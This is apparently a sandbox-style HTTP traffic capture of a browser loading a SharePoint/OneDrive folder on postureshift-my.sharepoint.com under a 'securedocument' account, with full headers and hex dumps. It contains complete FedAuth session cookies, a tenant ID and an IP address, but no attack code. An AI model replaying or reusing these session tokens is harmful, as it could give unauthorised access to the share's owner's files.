FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:03 UTC	1944	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Length: 43 Content-Type: image/gif Last-Modified: Tue, 18 Mar 2025 07:40:20 GMT Accept-Ranges: bytes ETag: "ff35330d997db1:0" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,484199,125299,125299,44807 SPRequestDuration: 13 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B3B590DFB6A849E6A3AD7C6405754E1D Ref B: EWR311000103019 Ref C: 2025-03-24T15:04:02Z Date: Mon, 24 Mar 2025 15:04:02 GMT Connection: close
2025-03-24 15:04:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:03 UTC	2847	OUT	GET /_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=tr [TRUNCATED] Host: postureshift-my.sharepoint.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:03 UTC	1969	IN	HTTP/1.1 200 OK Cache-Control: max-age=1800 Content-Length: 766 Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,187641,197767,197767,46410 Service-Worker-Allowed: / Strict-Transport-Security: max-age=31536000 X-AspNet-Version: 4.0.30319 SPRequestDuration: 30 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 374AE85EC44B479186474791D41B8FC8 Ref B: EWR311000107049 Ref C: 2025-03-24T15:04:03Z Date: Mon, 24 Mar 2025 15:04:02 GMT Connection: close
2025-03-24 15:04:03 UTC	766	IN	Data Raw: 0d 0a 76 61 72 20 5f 73 74 61 72 74 54 69 6d 65 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2c 5f 73 74 61 72 74 54 69 6d 65 54 69 63 6b 73 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 0a 76 61 72 20 5f 73 68 6f 75 6c 64 42 79 70 61 73 73 3d 66 61 6c 73 65 3b 0a 76 61 72 20 5f 63 64 6e 42 61 73 65 55 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 33 2d 31 34 2e 30 30 33 2f 27 3b 0a 76 61 72 20 5f 73 77 42 75 69 6c 64 4e 75 6d 62 65 72 3d 27 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 33 2d 31 34 2e 30 30 33 27 3b 0a 76 61 72 20 5f 77 77 42 75 69 6c 64 4e 75 6d 62 65 72 3d 27 6f 64 73 70 2d 77 65 62 2d 70 72 6f Data Ascii: var _startTime=performance.now(),_startTimeTicks=Date.now();var _shouldBypass=false;var _cdnBaseUrl='https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-14.003/';var _swBuildNumber='odsp-web-prod_2025-03-14.003';var _wwBuildNumber='odsp-web-pro

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:03 UTC	1880	OUT	GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&TryNewExperienceSingle=TRUE HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:03 UTC	3461	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: private, max-age=0 Transfer-Encoding: chunked Content-Type: application/xml;charset=utf-8 Expires: Sun, 09 Mar 2025 15:04:03 GMT Last-Modified: Mon, 24 Mar 2025 15:04:03 GMT Vary: Origin P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,1038166,159941,159941,37594 X-SharePointHealthScore: 0 X-SP-SERVERSTATE: ReadOnly=0 DATASERVICEVERSION: 3.0 SPClientServiceRequestDuration: 24 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-f0cb-8000-6ce4-99e57e3eb50d request-id: b7ad8da1-f0cb-8000-6ce4-99e57e3eb50d MS-CV: oY2tt8vwAIBs5Jnlfj61DQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9D24201A9367471CA0B483BE7C67DE2B Ref B: EWR311000108047 Ref C: 2025-03-24T15:04:03Z Date: Mon, 24 Mar 2025 15:04:03 GMT Connection: close
2025-03-24 15:04:03 UTC	450	IN	Data Raw: 31 62 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 6d 3a 65 72 72 6f 72 20 78 6d 6c 6e 73 3a 6d 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 61 64 6f 2f 32 30 30 37 2f 30 38 2f 64 61 74 61 73 65 72 76 69 63 65 73 2f 6d 65 74 61 64 61 74 61 22 3e 3c 6d 3a 63 6f 64 65 3e 2d 31 2c 20 4d 69 63 72 6f 73 6f 66 74 2e 53 68 61 72 65 50 6f 69 6e 74 2e 43 6c 69 65 6e 74 2e 43 6c 69 65 6e 74 53 65 72 76 69 63 65 45 78 63 65 70 74 69 6f 6e 3c 2f 6d 3a 63 6f 64 65 3e 3c 6d 3a 6d 65 73 73 61 67 65 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 48 54 54 50 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 63 61 6e 6e 6f 74 20 62 65 Data Ascii: 1bb<?xml version="1.0" encoding="utf-8"?><m:error xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"><m:code>-1, Microsoft.SharePoint.Client.ClientServiceException</m:code><m:message xml:lang="en-US">The HTTP method 'GET' cannot be
2025-03-24 15:04:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:03 UTC	1794	OUT	GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:03 UTC	3465	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: private, max-age=0 Transfer-Encoding: chunked Content-Type: application/xml;charset=utf-8 Expires: Sun, 09 Mar 2025 15:04:03 GMT Last-Modified: Mon, 24 Mar 2025 15:04:03 GMT Vary: Origin P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,120,5458494,1051136,1051136,41397 X-SharePointHealthScore: 1 X-SP-SERVERSTATE: ReadOnly=0 DATASERVICEVERSION: 3.0 SPClientServiceRequestDuration: 22 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-20d3-8000-6ce4-9921915f113e request-id: b7ad8da1-20d3-8000-6ce4-9921915f113e MS-CV: oY2tt9MgAIBs5JkhkV8RPg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE 